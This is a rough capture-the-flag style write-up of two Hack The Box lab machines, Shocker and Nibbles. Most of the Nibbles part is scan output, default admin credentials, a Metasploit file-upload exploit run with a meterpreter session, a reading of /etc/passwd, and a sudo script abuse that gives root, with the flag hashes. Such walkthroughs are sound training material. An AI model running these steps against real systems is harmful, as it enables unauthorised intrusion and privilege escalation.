Htb

Machines

Windows

Linux

Shocker

Ip address

@ 10.10.10.56

1. Recon

nmap scan report for 10.10.10.56
Host is up (0,25s latency)
not shown: 998 closes ports

PORT	STATE	SERVICE	VERSION
80/tcp	open	http	Apache httpd 2.4.18
2222/tcp	open	ssh	OpenSSH 7.2p2

OS : Linux Ubuntu

Number port of the SSH change for more security..... instead of the standard port.

The methods used by the website, below :

HTTP Methods : GET , HEAD, POST, OPTIONS

Analyse

- The only thing which is interesting is WEB, so Apache.
- We could pwn the server by the system, but not the most easy.....

So, we checked on the browser the page with the ip address to se what happens.
1 humor pic find. Nothing interesting in the source code....

Now, we would see the all repository of the website for finding some misconfigurations

2. Vulnerabilities

X-frame options header is missing
XSS

repository found : cgi-bin
user in it : user.sh.

apache mod cgi vulnerability : Shellshock

Analyse

That's mean we can root the server....

3. **Exploitation**

With what we've got, we can lunch the exploitation of the remote server. What we have is, the @ and the weakness.

We will use msf and select the expoit " ShellShock". Then, we configure it.
The must important things are the repository to lunch the exploit and the @.

Here are : - /cgi-bin/user.sh which corresponds to "TARGETURI"
- @ 10.10.10.56

The, the payload to get the connexion back to our machine

linux/x86/meterpreter/reverse_tcp with you local IP.

4. **Post exploitation**

We are going to find the flag on the machine

root.txt

Nibbles

Ip address

@ 10.10.10.75

1. Reconnaissance

1.1 Port scanning

sudo nmap -sS -sV -Pn -A -v 10.10.10.75
[sudo] password for root:

Starting Nmap 7.40 (https://nmap.org) at 2018-02-20 17:20 CET
NSE: Loaded 143 scripts for scanning.
NSE: Script Pre-scanning.

Nmap scan report for 10.10.10.75
Host is up (0.023s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|_ 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

Uptime guess: 198.840 days (since Sat Aug 5 22:12:12 2017)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 Searching of the headers of the website

python headers.py --url http://10.10.10.75
##

Headers Anlazyer
##
usage: headers.py [-h] [--url URL] [--export EXPORT]

Anlyze Headers in Response that could asset during finding vulnerabilites

optional arguments:
  -h, --help   show this help message and exit
  --url URL   Website address to analyze headers
  --export EXPORT Export findings to .txt file (ie. --export=website

STAT ANLYZING.....

[~~] Checking for secuirty Headers...
[+] NO ClickJacking Header Protection Found !
[+] XSS Protection header NOT found !
[+] No CSP Protection enabled, use content-secuirty-policy to disallow load unsafe resources!
[+] Found Server Banner: Apache/2.4.18 (Ubuntu)

Analyse

We also have a linux server with a web server (Apache httpd 2.4.18) and an SSH access. The webserver supportes Methods: GET HEAD POST OPTIONS

We have also checked on a browser and on a terminal our results.

1.3 Banner Grabing (Website) by HANDLE

nc 10.10.10.75 80
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Date: Tue, 20 Feb 2018 16:44:33 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
Your browser sent a request that this server could not understand.

<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

An indice was found in the source code of the page.

/nibbleblog/

In browsing http://10.10.10.75/nibleblog/ we are on a website. By the way, nibleblog is a CMS.

1.4 Searching interesting directories

sudo python3 dirsearch.py -u http://10.10.10.75 -e -f -x 400,403,404

 _|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_|)

Extensions: -f | Threads: 10 | Wordlist size: 6038

Error Log: /home/user/Documents/pentesting/tools/web/dirsearch/logs/errors-18-02-21_00-48-44.log

Target: http://10.10.10.75

[00:48:44] Starting:
[00:48:56] 200 - 93B - /index.html

Task Completed

Then, after an indice in the source code, we found some more interessting directories like, admin.php etc.. in mention the “nibbleblog” as repertory.

```
sudo python3 dirsearch.py -u http://10.10.10.75/nibbleblog -e -f -x 400,403,404
[sudo] password for root:

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: -f | Threads: 10 | Wordlist size: 6038

Error Log: /home/user/Documents/pentesting/tools/web/dirsearch/logs/errors-18-02-21_00-45-19.log

Target: http://10.10.10.75/nibbleblog

[00:45:19] Starting:
[00:45:22] 301 -  321B  - /nibbleblog/admin  ->  http://10.10.10.75/nibbleblog/admin/
[00:45:22] 200 -   48B  - /nibbleblog/admin.php
[00:45:22] 200 -    2KB - /nibbleblog/admin/
[00:45:22] 200 -    2KB - /nibbleblog/admin/?/login
[00:45:23] 301 -  332B  - /nibbleblog/admin/js/tinymce  ->  http://10.10.10.75/nibbleblog/admin/js/tinymce/
[00:45:23] 200 -    2KB - /nibbleblog/admin/js/tinymce/
[00:45:28] 301 -  323B  - /nibbleblog/content  ->  http://10.10.10.75/nibbleblog/content/
[00:45:31] 200 -   48B  - /nibbleblog/index.php
[00:45:31] 200 -   48B  - /nibbleblog/index.php/login/
[00:45:31] 200 -   78B  - /nibbleblog/install.php
[00:45:32] 301 -  325B  - /nibbleblog/languages  ->  http://10.10.10.75/nibbleblog/languages/
[00:45:32] 200 -   34KB - /nibbleblog/LICENSE.txt
[00:45:35] 301 -  323B  - /nibbleblog/plugins  ->  http://10.10.10.75/nibbleblog/plugins/
[00:45:35] 200 -    5KB - /nibbleblog/README
[00:45:38] 301 -  322B  - /nibbleblog/themes  ->  http://10.10.10.75/nibbleblog/themes/
```

We will found the admin webpage wich is at ;

http://10.10.10.75/nibbleblog/admin.php

Next, we have to enter in the administrative access.

indentifiants admin:nibbles

Analyse

We have found for the first pass a repertory which is not available (server-status) with a 403 error code. That's mean we have been redirected.

The, we login into the website withe the couple ID : admin and the passeword : nibbles

browse the site and analyse where a breach can be ...

Vulnerability

After browsing the website, we could see that the user can upload a picture. It's the point of entry to the remote system.

So, the vulnerability is “ Upload file”.
Nibbleblog File Upload Vulnerability

Exploitation

```
msf exploit(multi/http/nibbleblog_file_upload) > show options

Module options (exploit/multi/http/nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   nibbles          yes       The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
```

```
  RHOST      10.10.10.75      yes       The target address
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /nibbleblog      yes       The base path to the web application
  USERNAME   admin            yes       The username to authenticate with
  VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/bind_tcp):

  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  LPORT  4444             yes       The listen port
  RHOST  10.10.10.75      no        The target address


Exploit target:

  Id  Name
  --  ----
  0   Nibbleblog 4.0.3


msf exploit(multi/http/nibbleblog_file_upload) > run

[*] Started bind handler
[*] Sending stage (37543 bytes) to 10.10.10.75
[*] Meterpreter session 2 opened (10.10.14.198:46683 -> 10.10.10.75:4444) at 2018-02-21 17:44:55 +0100
[+] Deleted image.php


meterpreter > sysinfo
Computer    : Nibbles
OS          : Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64
Meterpreter : php/linux
meterpreter >
```

The post exploitation

```
meterpreter > ls
Listing: /var/www/html/nibbleblog/content/private/plugins/my_image
==================================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100777/rwxrwxrwx  14160   fil   2018-02-21 15:59:02 +0100  cowroot
100644/rw-r--r--  258     fil   2018-02-21 17:44:55 +0100  db.xml
100644/rw-r--r--  1292    fil   2018-02-21 16:39:25 +0100  image.
100644/rw-r--r--  1113    fil   2018-02-21 16:03:40 +0100  image.bin
100644/rw-r--r--  1113    fil   2018-02-21 16:18:23 +0100  image.jpeg

meterpreter > cd ..
meterpreter > ls
Listing: /var/www/html/nibbleblog/content/private/plugins
=========================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40755/rwxr-xr-x   4096  dir   2017-12-11 05:27:59 +0100  categories
40755/rwxr-xr-x   4096  dir   2017-12-11 05:27:58 +0100  hello
40755/rwxr-xr-x   4096  dir   2017-12-11 05:27:58 +0100  latest_posts
40755/rwxr-xr-x   4096  dir   2018-02-21 17:44:56 +0100  my_image
40755/rwxr-xr-x   4096  dir   2017-12-11 05:27:58 +0100  pages

meterpreter > cd ..
meterpreter > ls
Listing: /var/www/html/nibbleblog/content/private
================================================

Mode              Size  Type  Last modified              Name
```

```
----            ----  ----  -------------            ----
100644/rw-r--r--  325   fil   2017-12-11 05:27:58 +0100  categories.xml
100644/rw-r--r--  431   fil   2017-12-11 05:27:58 +0100  comments.xml
100644/rw-r--r--  1936  fil   2017-12-11 05:27:58 +0100  config.xml
100644/rw-r--r--  191   fil   2017-12-11 05:27:58 +0100  keys.php
100644/rw-r--r--  1142  fil   2018-02-21 17:44:55 +0100  notifications.xml
100644/rw-r--r--  95    fil   2017-12-28 21:59:12 +0100  pages.xml
40755/rwxr-xr-x   4096  dir   2017-12-11 05:27:58 +0100  plugins
100644/rw-r--r--  93    fil   2017-12-28 21:38:28 +0100  posts.xml
100644/rw-r--r--  210   fil   2017-12-11 05:27:58 +0100  shadow.php
100644/rw-r--r--  97    fil   2017-12-28 21:38:28 +0100  tags.xml
100644/rw-r--r--  1039  fil   2018-02-21 17:44:55 +0100  users.xml

meterpreter > cd ..
meterpreter > ls
Listing: /var/www/html/nibbleblog/content
==========================================

Mode            Size  Type  Last modified            Name
----            ----  ----  -------------            ----
40755/rwxr-xr-x  4096  dir   2017-12-28 15:02:13 +0100  private
40755/rwxr-xr-x  4096  dir   2017-12-11 05:27:58 +0100  public
40755/rwxr-xr-x  4096  dir   2017-12-11 05:27:58 +0100  tmp

meterpreter > cd ..
meterpreter > ls
[-] stdapi_fs_ls: Operation failed: 1
meterpreter > cd ..
meterpreter > ls
Listing: /var/www/html
======================

Mode             Size  Type  Last modified            Name
----             ----  ----  -------------            ----
100644/rw-r--r--  93    fil   2017-12-28 21:19:50 +0100  index.html
40331/-wx-wx--x   4096  dir   2017-12-28 21:09:51 +0100  nibbleblog

meterpreter > cd nibbleblog
meterpreter > ls
[-] stdapi_fs_ls: Operation failed: 1
meterpreter > ls
[-] stdapi_fs_ls: Operation failed: 1
meterpreter > pwd
/var/www/html/nibbleblog
meterpreter > cd ..
meterpreter > ls
Listing: /var/www/html
======================

Mode             Size  Type  Last modified            Name
----             ----  ----  -------------            ----
100644/rw-r--r--  93    fil   2017-12-28 21:19:50 +0100  index.html
40331/-wx-wx--x   4096  dir   2017-12-28 21:09:51 +0100  nibbleblog

meterpreter > cd ..
meterpreter > ls
Listing: /var/www
=================

Mode            Size  Type  Last modified            Name
----            ----  ----  -------------            ----
40755/rwxr-xr-x  4096  dir   2017-12-28 21:22:06 +0100  html

meterpreter > cd ..
meterpreter > ls
Listing: /var
=============

Mode            Size  Type  Last modified            Name
----            ----  ----  -------------            ----
40755/rwxr-xr-x  4096  dir   2017-12-28 12:30:57 +0100  backups
```

```
40755/rwxr-xr-x  4096  dir   2017-12-28 11:56:23 +0100  cache
41777/rwxrwxrwx  4096  dir   2018-02-21 15:55:20 +0100  crash
40755/rwxr-xr-x  4096  dir   2017-12-11 05:27:58 +0100  lib
42775/rwxrwxr-x  4096  dir   2017-12-11 05:27:58 +0100  local
41777/rwxrwxrwx  100   dir   2018-02-21 15:55:20 +0100  lock
40775/rwxrwxr-x  4096  dir   2017-12-28 12:01:27 +0100  log
42775/rwxrwxr-x  4096  dir   2017-12-11 05:27:58 +0100  mail
40755/rwxr-xr-x  4096  dir   2017-12-11 05:27:58 +0100  opt
40755/rwxr-xr-x  860   dir   2018-02-21 15:55:25 +0100  run
40755/rwxr-xr-x  4096  dir   2017-12-11 05:27:58 +0100  snap
40755/rwxr-xr-x  4096  dir   2017-12-11 05:27:58 +0100  spool
41777/rwxrwxrwx  4096  dir   2018-02-21 17:39:03 +0100  tmp
40755/rwxr-xr-x  4096  dir   2017-12-11 05:27:59 +0100  www

meterpreter > cd ..
meterpreter > ls
Listing: /
==========

Mode             Size      Type  Last modified             Name
----             ----      ----  -------------             ----
40755/rwxr-xr-x   12288     dir   2017-12-28 11:56:29 +0100  bin
40755/rwxr-xr-x   1024      dir   2017-12-28 12:00:45 +0100  boot
40755/rwxr-xr-x   3940      dir   2018-02-21 15:55:18 +0100  dev
40755/rwxr-xr-x   4096      dir   2017-12-28 11:58:13 +0100  etc
40755/rwxr-xr-x   4096      dir   2017-12-11 03:57:26 +0100  home
100644/rw-r--r--  37947894  fil   2017-12-28 11:58:13 +0100  initrd.img
100644/rw-r--r--  15889723  fil   2017-12-10 18:47:06 +0100  initrd.img.old
40755/rwxr-xr-x   4096      dir   2017-12-28 11:56:57 +0100  lib
40755/rwxr-xr-x   4096      dir   2017-09-22 18:40:40 +0200  lib64
40700/rwx------   16384     dir   2017-09-22 18:28:16 +0200  lost+found
40755/rwxr-xr-x   4096      dir   2017-09-22 18:28:25 +0200  media
40755/rwxr-xr-x   4096      dir   2017-12-11 05:27:58 +0100  mnt
40755/rwxr-xr-x   4096      dir   2017-09-22 18:28:19 +0200  opt
40555/r-xr-xr-x   0         dir   2018-02-21 15:55:07 +0100  proc
40700/rwx------   4096      dir   2017-12-29 11:24:02 +0100  root
40755/rwxr-xr-x   860       dir   2018-02-21 15:55:25 +0100  run
40755/rwxr-xr-x   12288     dir   2017-12-28 11:56:57 +0100  sbin
40755/rwxr-xr-x   4096      dir   2017-09-22 18:31:51 +0200  snap
40755/rwxr-xr-x   4096      dir   2017-09-22 18:28:19 +0200  srv
40555/r-xr-xr-x   0         dir   2018-02-21 16:15:03 +0100  sys
41777/rwxrwxrwx   4096      dir   2018-02-21 17:44:55 +0100  tmp
40755/rwxr-xr-x   4096      dir   2017-09-22 18:28:24 +0200  usr
40755/rwxr-xr-x   4096      dir   2017-12-11 05:27:58 +0100  var
100600/rw-------  7104112   fil   2017-12-28 11:56:39 +0100  vmlinuz
100600/rw-------  7070992   fil   2017-12-10 18:46:58 +0100  vmlinuz.old

meterpreter > cd home/user
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cd home
meterpreter > ls
Listing: /home
==============

Mode             Size  Type  Last modified             Name
----             ----  ----  -------------             ----
40755/rwxr-xr-x  4096  dir   2018-02-21 15:59:22 +0100  nibbler

meterpreter > cd nibbler
meterpreter > ls
Listing: /home/nibbler
======================

Mode             Size  Type  Last modified             Name
----             ----  ----  -------------             ----
100600/rw-------  0     fil   2017-12-29 11:30:07 +0100  .bash_history
40775/rwxrwxr-x   4096  dir   2017-12-11 04:04:04 +0100  .nano
40755/rwxr-xr-x   4096  dir   2018-02-21 15:59:22 +0100  personal
100400/r--------  1855  fil   2017-12-29 11:54:29 +0100  personal.zip
100400/r--------  33    fil   2017-12-29 11:43:54 +0100  user.txt
```

meterpreter > cat user.txt
b02ff32bb332deba49eeaed21152c8d8

Try to own the root flag

Channel 1 created.
head -n 8 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

sudo -l

sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

    ***Possible Sudo PWNAGE!
-rwxr-xr-x 1 nibbler nibbler 23 Feb 21 13:18 /home/nibbler/personal/stuff/monitor.sh

    cd /home/nibbler/personal/stuff
ls
LinEnum.sh
monitor.sh
monitor.sh.bak
results.txt

chmod 777 /home/nibbler
./monitor.sh

nibbler@Nibbles:/home/nibbler/personal/stuff$

sudo -u root /home/nibbler/personal/stuff/monitor.sh
root@Nibbles:/#
pwd
/root

root@Nibbles:~# cat root.txt
cat root.txt
b6d745c0dfb6457c55591efc898ef88c